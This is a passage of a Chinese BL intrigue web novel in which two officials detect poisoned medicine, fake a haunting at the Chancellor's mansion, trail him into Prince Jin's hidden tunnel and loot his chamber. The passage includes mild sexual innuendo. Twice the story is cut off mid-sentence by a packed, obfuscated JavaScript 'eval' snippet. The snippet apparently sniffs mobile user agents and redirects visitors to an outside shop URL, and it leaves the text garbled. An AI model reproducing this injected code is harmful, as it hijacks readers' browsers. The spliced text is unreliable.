燕修延屏住呼吸,耳朵竖得老高,听着谢伟恒上床的动静。 谢伟恒躺下后,他才偷偷松了口气,心里暗暗打定主意—— 明天一早,就把谢伟恒这些乱七八糟的书,全都找出来,送去厨房当柴火烧!烧得干干净净,一根渣都不剩! 53. 咱们想一处去了 谢伟恒放缓了呼吸,胸膛起伏的弧度渐渐变得平缓绵长,眼睑沉沉垂着。 帐外月色朦胧,漏壶滴答轻响。 燕修延睁着眼睛,盯着帐顶看了半晌,才试探着小声唤:“谢大人?” 无人应声。 他又凑近了些,声音压得更低:“谢侍郎?……谢伟恒?” 身侧人依旧静悄悄的,连睫毛都没颤动一下。 燕修延悄悄松了口气,紧绷的肩线垮下来。 他小心翼翼地,一点一点往谢伟恒那边蹭,冰凉的鼻尖几乎要贴上对方温热的脖颈。 他闭了闭眼,鬼使神差地把手钻进谢伟恒的被窝,指尖摸索着,轻轻勾住了那根温热修长的手指。 指腹相贴的瞬间,燕修延安心地阖上眼,没一会便坠入了梦乡。 只是这梦,实在算不上美好。 一个披头散发、没有脸面的女鬼,惨白的手爪几乎要挠到他脸上,尖着嗓子追着问:“为什么不杀晋王?为什么不杀他?” 阴风阵阵,鬼哭狼嚎,燕修延被追得狼狈逃窜,眼看就要被女鬼扑个正着,忽然有一双手从虚空中伸来,稳稳将他拽进了另一个空间。 没有女鬼,没有阴风,只有氤氲的热气,和一池冒着白雾的温泉。 池子里浸着两个人,背对着他,看不清眉眼。 燕修延正茫然四顾,忽然感觉有人轻轻抚过他的眉头,掌心温热,带着熟悉的触感。 他下意识地蹭了蹭,随即被人轻轻拍着后背,耳边是沉稳的心跳声。 梦里,燕修延爬上一棵老槐树,枝桠横斜,正好能将温泉里的景象看得一清二楚。 那两人抱在了一起,其中一人环着对方的肩膀,低头在他耳边呢喃,声音温柔得能掐出水来:“修延……” 燕修延心里咯噔一下。 这声音……怎么这么像谢伟恒? 他惊得从树上跳了下来,三步并作两步冲到温泉边,定睛一看—— 池水里,谢伟恒正低头吻着怀中人的发顶,而那人仰着的脸,竟和自己一模一样! “谢伟恒!你抱着的这人怎么跟我长的一样?” 话音未落,眼前猛地一晃,天旋地转。 再回神时,他惊骇地发现,自己竟成了那个被谢伟恒抱在怀里的人。 他想挣扎,想推开谢伟恒,身体却像是被施了定身咒,半点不听使唤。 谢伟恒抬起他的下巴,温热的唇瓣覆了上来,另一只手则顺着他的腰侧轻轻摩挲,指尖带起一阵战栗。 燕修延瞪大了眼睛,眼睁睁看着自己的身体主动靠向谢伟恒。 双臂环住他的肩膀。 甚至……跨坐到了他的腿上。 到底怎么回事!谢伟恒下蛊了不成?! 为什么他说不出话,也反抗不了?!” 窒息般的羞恼和慌乱中,谢伟恒是被腰间骤然收紧的力道勒醒的。 怀里的人浑身发烫,像揣了个小火炉,双臂死死缠着他的腰,脑袋还在他颈窝里轻轻蹭着,嘴里嘟囔着些不成句的胡话。 “……恒……解开蛊术……抽你……” 谢伟恒的眼睛缓缓睁开,眸底还带着刚睡醒的惺忪,待听清那句梦话,他低低地笑了起来,胸腔的震动透过相贴的皮肤传过去,惹得怀里人又蹭了蹭。 他抬手,轻轻捏住燕修延的后颈,指尖摩挲着细腻的肌肤。 另一只手则探进被子里,顺着对方温热的胸口缓缓下滑。 “谢大人似乎做了什么不大正经的梦呢……” 谢伟恒安抚着小修延,在燕修延汗湿的额头上印下一个轻柔的吻,像在安抚一只炸毛的猫。 另一边,李府的书房里,烛火摇曳。 李羽飞和温瑞对坐在圆桌前,桌上的茶盏还冒着热气。 李羽飞拈着一支珠花簪子,指尖把玩着,眸光沉沉:“既然鱼儿藏在水底不肯露面,那便把这潭水搅浑,我不信他们还能忍得住。” 温瑞端着茶盏,指尖摩挲着杯沿,声音淡漠:“你娘亲并非善类。” 李羽飞放下簪子,指尖在桌面上轻轻敲击:“但至少,她不是个任人欺凌的女人。” 温瑞抬眼,目光锐利:“要帮忙杀了她么?” 李羽飞笑了笑,提起茶壶给温瑞续上水,动作慢条斯理:“不行。她是我母亲。况且,你是燕大人的人,一举一动都有无数双眼睛盯着。燕大人派你来盯着我,本就是为了不让我惹是生非。” 她顿了顿,眼底闪过一丝晦暗:“母亲她,确实出乎我的意料。但那夜的种种,恐怕另有隐情。来日方长,日后燕大人真要你为我做事,我会主动把要求告诉你们。” 温瑞沉默片刻,缓缓道:“慈眉善目的不一定是菩萨,青面獠牙的也不一定是恶鬼。往后的路,你只怕会更难走。” 李羽飞望着窗外沉沉的夜色,声音轻得像叹息:“真正让我不安的,从来不是李府后宅的阴私算计,而是远在杭州的那些人。” 鸡鸣声刺破黎明,燕修延的眼皮猛地颤动了两下,随即豁然睁开。 他动了动指尖,久违的掌控感终于回到四肢百骸。 鼻尖萦绕着熟悉的檀木香,身下是温热的胸膛——他竟整个人窝在谢伟恒怀里。 燕修延打了个哈欠,长舒一口气:原来是梦啊…… 还以为真中了什么蛊术。 可转念一想,他的表情瞬间僵住,耳根不受控制地泛红。 为什么会做这种梦?! 一定是谢伟恒平日里总爱撩拨他,才让他日有所思夜有所梦! 这般想着,燕修延心里却莫名升起一丝心虚,眼神飘忽着不敢看谢伟恒。 “醒了?”谢伟恒的声音带着刚睡醒的沙哑,他蹭了蹭燕修延的发顶,指尖划过他的后颈,“是现在起来,还是再睡会儿?” “起来!” 燕修延几乎是脱口而出,猛地从谢伟恒怀里挣出来,动作干脆利落地翻身下床。 脚刚落地,他的目光就被床边地上的东西吸引住了—— 一件皱巴巴的裘裤,还有一张皱巴巴的帕子。 那裘裤看着有些眼熟…… 燕修延低头看了看自己身上穿着的,分明是条全新的衬裤。 他的脸“唰”地一下红了,猛地抬头看向谢伟恒,张了张嘴,刚想问什么,梦里那些画面突然蹿出来,到了嘴边的话又被他咽了回去。 谢伟恒将他的反应尽收眼底,眼底笑意一闪而过,语气却轻描淡写,仿佛只是在说一件寻常事:“燕大人许是昨天羊肉吃多了,都是成年男子,这很正常。” 经他这么一说,燕修延脸上的红晕褪了些,紧绷的脸皮也松快了几分。 对,就是这样。不过是帮忙换了条裤子而已。 燕修延在心里不断暗示自己:反正都睡在一张床上了,换条裤子算什么! 大家都是男人,都是男人……都是男人! 他强装镇定地咳了一声,扶着额头,一脸后怕地说:“以后跟羊有关的东西,我是说什么都不沾了!” 几日后,谢府的书房里。 谢伯照例端着一碗熬好的药进来,热气腾腾,药香弥漫。 谢伟恒刚要伸手去接,燕修延却忽然皱起眉,鼻子抽了抽,伸手按住了他的手腕:“等等,这药不对。” 谢伯愣了愣,连忙转身去取来药渣。 燕修延捻起几样药材,放在鼻尖闻了闻,又扒拉了两下药渣,里面并没有多出什么别的东西。 他又走到一旁,拿起那包还没熬的药材,一样样仔细检查,最后拿起一株看似寻常的草药,放在鼻尖轻嗅。 “这药被人动过手脚。应该是被西域的透骨草熏制过。” 有内伤者服用之后,短时间内会觉得身体明显好转,实则是在消耗自身气血,长此以往,只会油尽灯枯。 而且这东西极为隐蔽,寻常把脉根本察觉不出来。 谢伟恒的脸色也沉了下来。 燕修延放下药材,看向谢伯,又看向谢伟恒:“让白天铎和肖泽去盯着那家药铺。这药被处理得极为隐蔽,难怪他们俩盯了这么久,一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人闪身溜进药铺,谢伟恒从怀里掏出一颗夜明珠,莹白的光芒照亮了不大的药铺。 燕修延径直走到放那味药的药柜前,拉开那个小抽屉,拿起一株药材放在鼻尖闻了闻,眉头皱了起来:“这也没有问题。” 谢伟恒却没说话,只是伸出手指,在抽屉的侧面轻轻摸了摸。 指尖触到一处凸起,他微微用力按下——那竟是个暗扣。 “咔”的一声轻响。 谢伟恒将抽屉推回去,再重新抽出来时,抽屉的底层竟多了一层暗格。 燕修延拿起一株,放在鼻尖只闻了一下,脸色便沉了下来:“果然是被熏制过的。” “原来还有暗格。” 暗格里的药材不多,看样子,大约还能再抓个两次就没了。 燕修延从怀里掏出一个小巧的瓷瓶,拔开塞子,往那暗格里滴了一滴无色无味的液体。 “这是百濯香。” 他对谢伟恒解释道,“无色无味,只有觅踪蝶能嗅到。咱们就等着,看是谁来补充药材。” 离开药铺时,月色正好。 燕修延把玩着那颗夜明珠,抛了又接,忽然想起什么,看向谢伟恒,促狭地笑:“没想到你还有开锁的手艺。之前我跟你要锁,想把聘礼盒子锁住时,你是不是在心里偷偷笑我?” 谢伟恒脚步一顿,侧头看他,月光落在他脸上,勾勒出柔和的轮廓。 他轻轻摇头,声音温柔:“你肯收下那些聘礼,我就很高兴了。” 燕修延心里一跳,嘴上却硬邦邦地嘀咕:“几百万两呢,谁不收谁是傻子。” “再‘喝’个几副药,就可以去找郑太医了。谢伯这次抓药回来,我发现谢府附近盯梢的人,确实少了不少。” 谢伟恒的笑容淡了些,眼底却淬着寒意:“那些药汁和药渣,都留好。” 燕修延把夜明珠揣回怀里,勾起唇角,眼底闪过一丝狠厉:“咱们想到一处去了。” 等晋王那群人谋反被抓以后,这些被熏制过的陈年老药,正好每天给他们灌上一碗。 让他们也尝尝,这油尽灯枯的滋味。 54. 晃晃肚子里的坏水 这日,下朝的钟鼓声还在宫阙间荡着余韵,燕修延便利落地甩了甩官袍下摆,径直拐向了太医院的方向。 甬道上,他步子迈得又快又稳,惹得路过的小太监纷纷低头避让。 刚踏进太医院的门槛,就见郑太医正捋着花白的胡须,慢条斯理地坐在案前等着他。 “燕大人来了?” 郑太医抬眼,笑意吟吟地招手,“快坐,老臣再给你把把脉。” 燕修延依言坐下,将手腕搁在脉枕上。 指尖触到微凉的脉枕,他下意识地绷了绷肩背。 郑太医装模作样的手指搭上来,指尖沉稳有力,一下下探着他的脉象。 片刻后,收回手,提笔在宣纸上刷刷写了方子,递过来时,语气带着几分欣慰:“燕大人身体已大好,再服用几贴便可停药了。” “多谢郑太医。” 燕修延接过方子,指尖捏着纸角,正准备起身告辞,却被郑太医抬手拦住了。 “燕大人,借一步说话。” 郑太医朝四周觑了觑,见廊下只有几个洒扫的杂役,这才凑近了些,压低了声音,语气里带着几分过来人似的促狭:“燕大人正值血气方刚的年纪,老夫上次说的是稍微节制一些,而不是一直憋着。若憋得久了,于身体可是大大不利啊。” “……” 听不懂,他憋什么了?有什么好憋的? 分明是谢伟恒那家伙,整日撩拨自己,勾得自己夜里净做些乱七八糟的梦! 这老太医,净胡说八道些什么! 燕修延抿紧了唇,攥紧了药方,一言不发地转身,几乎是落荒而逃般快步走了。 看着那落荒而逃的背影,郑太医捋着胡须,笑得眉眼弯弯,轻轻摇了摇头:还是年轻,面皮子太薄啦。 出了宫门,那辆熟悉的马车正停在不远处。 燕修延掀帘坐进去,一抬眼就撞进谢伟恒含笑的眸子里。 他心头那点窘迫瞬间化作了气闷,狠狠瞪了谢伟恒一眼,便赌气似的闭上眼,背靠着车厢壁,腮帮子微微鼓着,活像只受了气的猫儿。 “郑太医说了什么?” 谢伟恒的声音低柔,带着几分笑意,落在耳畔,痒痒的。 燕修延眼皮都没掀一下,硬邦邦道:“说好的差不多了。” 顿了顿,他又猛地睁开眼,目光警惕地盯着谢伟恒,像只竖起尖刺的刺猬,此地无银三百两地强调:“你不许去找郑太医。” 谢伟恒瞧着他泛红的耳根,哪里还猜不到郑太医定是说了些什么。 他低低地笑了一声,抬手捏了捏燕修延发烫的耳垂,指尖的温度熨帖着肌肤,惹得燕修延瑟缩了一下。 “好,”谢伟恒应得爽快,眼底的笑意浓得化不开,“我本来也无事找他。” “嗯哼。” 燕修延别扭地偏过头,拨开他作乱的手,抓起那张药方。 “撕”的一声,利落地撕成了两半,仿佛这样就能把方才的窘迫也一并撕碎似的。 到了药铺,谢伟恒率先下了车,接过那两半药方,理了理,迈步走了进去。 药童眼尖,连忙迎上来,接过药方看了看,手脚麻利地抓药、称重、包好,递过来时,状似无意地嘟囔了一句:“这药量,似乎是减轻了不少呢。” “是的。” 谢伟恒将一锭银子放在柜台上,声音清淡,“好了大半,大夫重开了药方。” 话音刚落,几只粉白的蝴蝶从门外翩跹飞了进来,翅膀扇动着,绕着药童的头顶打了个转。 药童啧啧称奇:“哟,很少见蝴蝶飞进铺子里呢。” 他称了称银子的重量,用剪刀铰下一小块,递还给谢伟恒。 谢伟恒接过银子和药包。 这时,一个样貌普通的老者拄着拐杖走进来,手里捏着一张药方,递给药童,声音沙哑:“抓药。” 他的目光看似随意地扫过谢伟恒,鼻翼却微微翕动着,像是在捕捉什么气息。 老者的鼻子极灵,谢伟恒身上带着一股极淡的药味。 不是药包新出炉的草木香,而是浸在衣料里的、经久不散的味道——那里面,分明夹杂着透骨草的气息。 谢伟恒身边的人定是经常喝着含透骨草的药。 一只蝴蝶悠悠飞下来,停在老者的手腕上,翅膀轻轻颤动着,另一只则往谢伟恒手中的药包飞去,眼看就要落在油纸上。 谢伟恒的眸色沉了沉,不动声色地侧身,避开了蝴蝶的停留,转身便抬脚出了药铺,步履沉稳,看不出丝毫异样。 马车里,燕修延正掀着车帘的一角,冲外面易容成卖糖葫芦小贩的手下使了个眼色。 那小贩微微颔首,燕修延这才放下车帘,唇角勾起一抹冷冽的弧度。 回到府中,燕修延接过药包,拆开油纸,捻起一点药粉放在鼻尖闻了闻。 片刻后,他冷笑一声,语气里带着几分嘲讽:“这次估计是用透骨草的水浸泡出来的,比熏制的剂量大多了。喝上几次,就算后面不喝,也是毒入骨髓。” 谢伟恒的眉头瞬间皱了起来,伸手将药包拿过来,重新包好,指尖的力道微微收紧。 “皱眉干嘛?” 燕修延伸手,用指尖戳了戳他蹙起的眉心,语气带着几分戏谑,“小心以后年纪轻轻就生皱纹,变成个小老头。” 他拍了拍谢伟恒的肩膀,笑得眉眼弯弯,带着几分狡黠,“谢大人,说到底这药我又没喝进去,他们费尽心机,到头来却是竹篮打水一场空,你应该觉得好笑才是。” 谢伟恒看着他眼底的笑意,紧绷的下颌线柔和了几分,抿了抿唇,低低应了一声:“嗯。” 午后的阳光正好,透过繁茂的树叶,筛下斑驳的光影。 燕修延手脚麻利地爬上院中的老槐树,寻了个粗壮的树杈躺下,枕着手臂,捧着一卷书看得津津有味。 谢伟恒则坐在树下的石桌旁,铺了宣纸,握着狼毫,一笔一划地练着字。墨香混着槐花香,在风里悠悠地飘着。 忽然,院墙上冒出一个脑袋,头发乱糟糟的,正是白天铎。 他压低了声音,贼兮兮地喊了一声:“头儿!” 燕修延从书页间抬起头,挑眉看他。 白天铎连忙凑近些,语速飞快地禀报:“头儿,我跟着那个老头进了中书令府!那老家伙是易容的,卸了妆的样貌,看着像是西域人!” 中书令府里,除了暗卫,还多了两个怪人,一个穿道袍,一个穿僧袍,神神叨叨的。 白天铎抹了把额头的汗,心有余悸:“差点就被他们发现了,那帮暗卫的警惕性,比咱监察司的猎犬还高!” 燕修延闻言,眼睛一亮,从树杈上一跃而下,动作利落得像只狸猫。 “道人?” 他挑了挑眉,语气里带着几分玩味。 “嗯!” 白天铎重重点头,语气里满是不屑,“府里到处都贴了黄符,啧啧,真是好笑,他们坏事做尽,这是怕鬼找上门来啊?” 燕修延转头,看向石桌旁的谢伟恒,唇角勾起一抹坏笑,眼底闪着狡黠的光:“看样子,晋王吓的不轻啊。” 白天铎何等机灵,瞬间就听出了话外音,眼睛瞪得溜圆,凑上来八卦地追问:“头儿,你知道内情啊?快说说,说说呗!” 燕修延也不卖关子,凑过去,压低了声音,把那天二人走后,他和谢伟恒扮鬼吓晋王的事儿添油加醋地说了一遍。 “嗨呀!” 白天铎一拍大腿,懊恼得直跺脚,“这么好玩的事情,怎么就不带我?我会鬼步啊!特地跟戏班子学的,走起路来轻飘飘的,跟真鬼似的!” “对哦,我倒把这茬忘了。” 燕修延拍了拍肚子,眼底的坏水翻涌着,笑得像只偷腥的狐狸,“那正好,今夜,咱们就给中书令府添点‘热闹’。” 子时。 夜色如墨,泼洒了整片天地。 万籁俱寂,只有风穿过树叶的“沙沙”声,伴着几声虫鸣,偶尔还有宿在枝头的鸟雀被惊起,扑棱棱地扇动翅膀。 中书令府的大门紧闭着,门房正蜷缩在门房里打盹,忽然被一阵急促的敲门声惊醒。 “咚咚咚——” 敲门声又急又响,像是催命符似的。 门房骂骂咧咧地爬起来,揉着惺忪的睡眼,嘴里嘟囔着:“大半夜的,敲敲敲!赶着投胎啊!” 他一边骂,一边拉开门闩,“吱呀”一声推开了门。 门刚开一条缝,他就对上了一张惨白惨白的脸。 那脸毫无血色,双眼空洞地望着他,长发披散着,随着夜风轻轻飘动。 “啊——鬼啊!!!” 门房的惨叫声瞬间划破了夜空。 他吓得魂飞魄散,双腿一软,差点瘫倒在地。 慌乱间低头,又瞥见那“鬼”的怀里抱着个婴儿,那婴儿的脸青紫青紫的,正睁着一双无神的眼睛,直勾勾地盯着他。 “两个鬼!!!” 这一次,门房连话都没来得及喊完,眼前一黑,直接吓晕了过去,“咚”的一声倒在地上。 门房的惨叫声,惊动了蹲在院墙外树杈上打瞌睡的暗卫。 那暗卫一个激灵,差点从树上掉下去。 他定了定神,几个起落,悄无声息地掠到门口,探头一看—— 只见一个身着白色长袍、披头散发的身影,正抱着婴儿,轻飘飘地往府里“飘”。 那身影足不沾地,周身仿 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他心里咯噔一下,不敢耽搁,快步朝着请来的道长和大师住的院子跑去。 “道长!大师!你们可听见什么动静了?” 中书令拍着门,声音里带着几分慌乱。 门“吱呀”一声开了,道长手持桃木剑,左手捏着法诀,面色凝重地走出来,沉声道:“贫道感觉到了,非常浓的煞气!” 旁边的大师双手合十,转动着佛珠,面色肃穆:“阿弥陀佛,待我二人去收了这妖孽。” 中书令连忙拱手作揖,语气满是恳求:“有劳二位大人了!” 两人跟着中书令来到门口,一眼就看见了扮作女鬼模样的白天铎。 道长二话不说,掏出一张黄符夹在指间,口中念念有词。 片刻后,黄符无火自燃,他举着桃木剑,大喝一声:“妖孽!拿命来!” 说着,便举着剑,朝着白天铎冲了过来。 白天铎勾了勾唇角,眼底满是戏谑。 他身子一晃,踩着那套从戏班子学来的鬼步,轻飘飘地往后退去。 那步子虚浮缥缈,果真像足了鬼魂。 道长的桃木剑“唰”地劈过来,却连他的衣角都没碰到。 白天铎手腕一翻,宽大的袖子挥出,只听“咔嚓”一声,那桃木剑竟被他生生打断。 躲在暗处的燕修延看得有趣,捏着嗓子,模仿着女子凄厉的声音,狠厉道:“冤有头债有主!臭道士,我劝你少管闲事!” 那声音尖锐凄厉,在夜里听来,说不出的渗人。 道长举着断成两截的桃木剑,整个人都傻了眼,僵在原地,脸色一阵青一阵白。 旁边的大师见状,双手合十,往后退了两步,躲到了中书令身后,一脸悲悯地叹了口气:“阿弥陀佛,既是早有因果,贫僧便不好干预他们的因果了。” “你!” 中书令急得跳脚,指着大师,声音都在发抖,“本官花了那么多钱请你们来,你赶紧把她给我收了!” 道长和大师对视一眼,眼底都闪过一丝心虚。 他们俩本就是混江湖的骗子,只会些糊弄人的把戏,靠着花钱买通人宣扬,才成了所谓的“世外高人”。 方才那黄符,也是花大价钱买来的,本想着装装样子,没想到这“鬼”这么厉害。 道长咬了咬牙,从怀里掏出一叠黄符,朝着白天铎劈头盖脸地丢过去。 黄符在半空中纷纷燃起,化作点点火星。 “啊啊啊——” ‘贺梦雨’仿佛被符纸灼伤一般,身子往后一仰,轻飘飘地“飘”走了,眨眼间就消失在了夜色里。 道长和大师暗自松了口气,心说这买来的符还真管用。 大师叹了口气,拍了拍道长的肩膀,语重心长道:“道长这般干预因果,怕是会有损自己的道行啊。” 道长配合地捂着胸口,装作力竭的样子,脸色苍白地摆了摆手:“你我行走于世间,铲妖除魔,实乃分内之事。些许道行折损,再修便是。” 中书令哪里知道其中猫腻,见“鬼”被打跑了,顿时松了口气,看向两人的目光满是感激:“本官愿再拿出十万两白银,作为二位的答谢!” 道长假意推辞了两次,这才“勉为其难”地收下了。 将两人送回院子,中书令攥着道长塞给他的几张黄符,脚步匆匆地转身,朝着晋王的住处跑去—— —————————— 燕修延:就两个江湖骗子还自称上道长和大师了! 55. 亮得都能绣花了 中书令踩着虚浮的步子回了自己的房间。 谢伟恒指尖夹着一枚石子,眸光微沉,循着月光看了眼院墙上值守的暗卫,手腕轻扬,石子便带着破空的轻响,朝着东边的假山飞去。 “咚”的一声轻响,在夜里格外清晰。 守在院中的暗卫本就因方才闹鬼的事心神不宁,此刻闻声,当即齐齐扭头望向假山方向,脚步也下意识地挪了过去。 就是这转瞬的空隙,两道黑影如狸猫般从窗棂闪身而入。 谢伟恒反手便将窗户阖上,动作轻得没发出半点声响; 燕修延则足尖一点,身形便如柳絮般掠上房梁,目光精准地锁住了梁上缩着的那个暗卫。 那暗卫惊觉有人,瞳孔骤缩,刚要张口惊呼,燕修延已欺身而至,手肘利落的一击撞在他后颈。 暗卫闷哼都没来得及哼出一声,便软倒下去。 燕修延眼疾手快,伸手捏住他的下巴用力一卸,只听“咔哒”一声轻响,暗卫的下颌便脱了臼。 他随即摸出一颗的药丸,指尖一弹便送进暗卫口中,又抬手在他喉间一按。 暗卫下意识吞咽,药丸便滚进了喉咙。 柳岚亲手出品:忘忆丸,吃了便会将当日之事忘得干干净净。 若是剂量多了,前尘旧事怕也要一并模糊。 燕修延拍了拍手,眼底闪过一丝狡黠——就算这小子醒了,也记不清今晚见过谁。 两人在梁上屏息凝神,就见中书令进了里屋,走到墙角的博古架前,盯着架上那尊青釉花瓶看了两眼,随即伸手握住瓶颈,轻轻往左一转。 “咔哒——” 一阵机关转动的轻响过后,原本平整的地面竟缓缓裂开一道缝隙,露出一截向下延伸的石阶,一股子潮湿的霉味混着泥土气息扑面而来。 燕修延冲着谢伟恒挑了挑眉,眼神里满是“果然如此”的了然。 怪不得探子查了这么久,都找不到晋王的踪迹,原来这老狐狸竟把密道修在了自己卧房里。 难不成晋王每次进出都要走中书令的房间? 万一赶上中书令和小妾温存,那场面岂不是尴尬得能抠出三室一厅? 他正想得入神,密道的石板已掀开大半,中书令抬脚就要往下走。 燕修延不敢耽搁,朝谢伟恒递了个眼色,两人当即从房梁跃下,身形快如疾风,在石板彻底合上的前一瞬,一前一后钻进了密道。 反正手里有忘忆丸,就算被中书令撞见又如何? 大不了也给他喂一颗,保准他醒了就忘。 密道里光线昏暗,每隔五步便嵌着一支火把,跳跃的火光将两人的影子拉得忽长忽短。 许是方才被“女鬼”吓得不轻,走在前面的中书令脚步匆匆,连头都没回一下,压根没察觉到身后跟着两条尾巴。 密道尽头是一扇厚重的门,燕修延忙拉着谢伟恒缩到转角处,只探出半个脑袋。 中书令停下脚步,抬手叩了叩门,指节敲击木门的声响在狭长的密道里格外清晰。 燕修延缩回脑袋,一回头,差点撞上谢伟恒的脸。 燕修延吓了一跳,下意识往后缩了缩,瞪着眼睛:靠这么近干嘛!想吓死人啊? 谢伟恒垂眸看着他,眼底映着火把跳跃的光,嘴角噙着一丝浅浅的笑意,无辜得很:怕黑。 燕修延:“……” 他转头看了看密道两侧每隔五步就亮着的火把,又回头看了看谢伟恒那张一本正经的脸,气得差点抬脚踹他。 燕修延冲着谢伟恒挥挥拳头:黑你大爷!这火光亮得都能用来绣花了! “大晚上的,做什么扰本王清梦?” 中书令的声音透着恭敬:“王爷,多亏了请来的道长,一道黄符就把打跑了!” “哪个啊……”晋王的声音满是不耐,可话音刚落,像是突然想起了什么,陡然拔高了八度,语气里满是惊慌,“贺梦雨又来了?!” “来了!” 中书令连忙应道,语气里带着几分邀功的得意,“府里的暗卫根本拦不住,还好道长神通广大,这才将她击退。” “赏!重重有赏!” 晋王松了口气的声音隔着门板传来,带着几分后怕,“让那两位高人搬来本王隔壁住!不,直接让他们住进这院子里!” 中书令却连忙劝道:“王爷不可!您在京城的消息绝不能泄露,这两位虽有本事,可人心隔肚皮,若是他们嘴不严,咱们可就前功尽弃了。” 他请这两人来时,只说自己宅中闹鬼,半句没敢提晋王的事,自然不敢让两人离晋王太近。 晋王素来唯我独尊,被驳了话,当即怒火中烧,只听“哐当”一声脆响,想来是摔了什么瓷器。 他恶狠狠的声音透过门缝钻出来:“那就告诉他们!下次贺梦雨再来,直接把她打得魂飞魄散!只要能除了这孽障,本王赏他们金山银山!” 中书令连忙应下,又从怀里掏出几张黄符,隔着门缝递进去:“王爷,这是道长亲手画的平安符,您随身带着,保准那女鬼近不了您的身。” 燕修延偷偷觑了一眼,忍不住在心里嗤笑。 方才他分明看见中书令从道长那里讨了满满一沓黄符,这会儿竟只给晋王拿了几张。 贺梦雨的死定有蹊跷,得想个法子把这消息透给贺泓名 待听得差不多,确定晋王就藏在这扇门后,两人便悄无声息地往后退。 燕修延压低声音:“怎么出去?这机关总不能原路走了。” 谢伟恒摇了摇头,语气平静:“不知。” 密道里已经能听见中书令的脚步声了。 燕修延低声道:“你说,咱们要是被他撞见,他会不会心平气和地告诉我们出口在哪儿?” 谢伟恒没说话,只是从袖中摸出了一样东西——竟是一枚沉甸甸的银裸子。 就在中书令的身影刚转出转角的刹那,谢伟恒手腕一扬,银裸子便如流星般飞射而出,精准地砸在中书令的后颈。 “唔!” 中书令闷哼一声,眼前一黑,直挺挺地栽倒在地,晕了过去。 燕修延看得目瞪口呆,半晌才憋出一句:“真有钱,拿银子当暗器使。说起来,上次花船上你丢出去的那个银裸子,我还忘了捡回来。” 他一边说着,一边走过去,拽着中书令的头发将人拖到墙角。 谢伟恒则蹲下身,在密道的墙壁上摸索起来,指尖划过一块块冰冷的砖石,却没找到半点机关的痕迹。 燕修延也跟着摸,指尖触到的墙面粗糙又平整,连条缝隙都没有。 “奇了怪了,难不成这密道是单向的?” 两人的目光扫过墙壁上的火把。 燕修延试探着伸手握住身侧那支火把的底座,轻轻一转。 “呦呵,还真是!” 燕修延眼睛一亮,当即拖着中书令的衣领,将人丢出去。 出来后,燕修延如法炮制,卸下巴、塞忘忆丸,动作一气呵成。 末了还把中书令拖到床上,盖好被子,伪造成一副熟睡的模样。 做完这一切,他拍了拍手,低声道:“走了。” 刚走到窗边,手腕却被谢伟恒拉住了。 谢伟恒看着他,眉梢微挑:“你方才说,花船上丢的银裸子没捡回来?” 燕修延一愣,随即反应过来,惊讶地扬起眉毛,眼底满是戏谑:“真看不出来啊,谢大人。” 他说着,也不客气,转身就在中书令的卧房里翻找起来。 衣柜的暗格里,一沓沓银票露了出来,足足五万两; 床底的木箱里,十锭金灿灿的元宝码得整整齐齐; 就连梳妆台的抽屉里,都藏着不少碎银子。 燕修延毫不客气,一股脑全揣进了自己怀里,笑得眼睛都眯成了一条缝。 谢伟恒靠在窗边,指尖抵着窗棂,从缝隙里往外打量。 院子里的暗卫还没回来,不过除却房梁上那个晕过去的,四下里还有十个,个个都提着刀,警惕性不算低。 燕修延揣好了银子,凑到他身边拍了拍他的肩膀,眼神里满是“瞧好了”的得意。 谢伟恒挑了挑眉,抱臂而立,一副拭目以待的模样。 只见燕修延清了清嗓子,随即张口,一阵歌声便从他唇间流泻而出。 那歌声空灵清幽,似山涧清泉流淌,又带着几分缥缈的意味,白日里听着定是悦耳的,可此刻夜深人静,又刚闹过鬼,落在暗卫耳朵里,只觉得一股子寒气从脚底直窜头顶。 “这、这是什么声音?” “好像是……歌声?” “大半夜的,哪儿来的歌声?” 暗卫们面面相觑,脸色一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646213|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个个白了几分。 燕修延嘴角勾着笑,抬手轻轻拉开了房门。 门轴转动,发出“吱呀”一声轻响,在寂静的夜里格外刺耳。 暗卫们循声望去,只见那扇门竟无风自开,门后却空空荡荡,连个人影都没有,只有那诡异的歌声还在悠悠回荡。 三个胆子稍大的暗卫相互对视一眼,咬了咬牙,相互挽着手臂,抖着腿一步步往门口挪。 歌声还在继续,似男非男、似女非女,白日里或许会觉得好听。 在夜深人静时,只会让人觉得诡异和害怕。 他们手里的刀握得死紧,手心全是冷汗,嘴里还念念有词:“别怕别怕,邪不压正……” 眼看着三人就要走到门口,燕修延眼底的笑意更浓,抬手轻轻一推,房门便“砰”的一声合上了。 门外传来三声清晰的“咕咚”声—— 是暗卫们吓得咽口水的动静。 燕修延摸出一颗烟丸,往地上一丢,烟丸落地即碎,霎时间,一股浓郁的白雾便弥漫开来,带着淡淡的辛辣气息。 他再次将门拉开,白雾便如潮水般涌了出去。 门外的暗卫们猝不及防,被呛得连连后退,咳嗽声此起彼伏。 燕修延趁机又丢出一颗烟丸,白雾更浓,几乎将整个院子都笼罩了。 两人借着白雾的掩护,俯身捡起地上烟丸的残壳,身形一闪便出了中书令的院子,几个起落便消失在夜色里。 白雾中,有暗卫揉着眼睛,含糊道:“刚才……是不是有什么东西飞过去了?” 旁边的暗卫当即一巴掌拍在他后脑勺上,压低声音骂道:“你别瞎咧咧!本来就够吓人的了,想找死啊!” 待白雾渐渐散去,暗卫们才敢凑到房门口,你推我搡地进了屋子。 他们小心翼翼地四下打量,里屋的床上,中书令睡得正沉。 有人壮着胆子上前探了探他的鼻息,松了口气道:“没事,还活着。” “卧槽!” 突然,一声惊叫划破了寂静。 一个暗卫指着房梁,声音都在发抖。 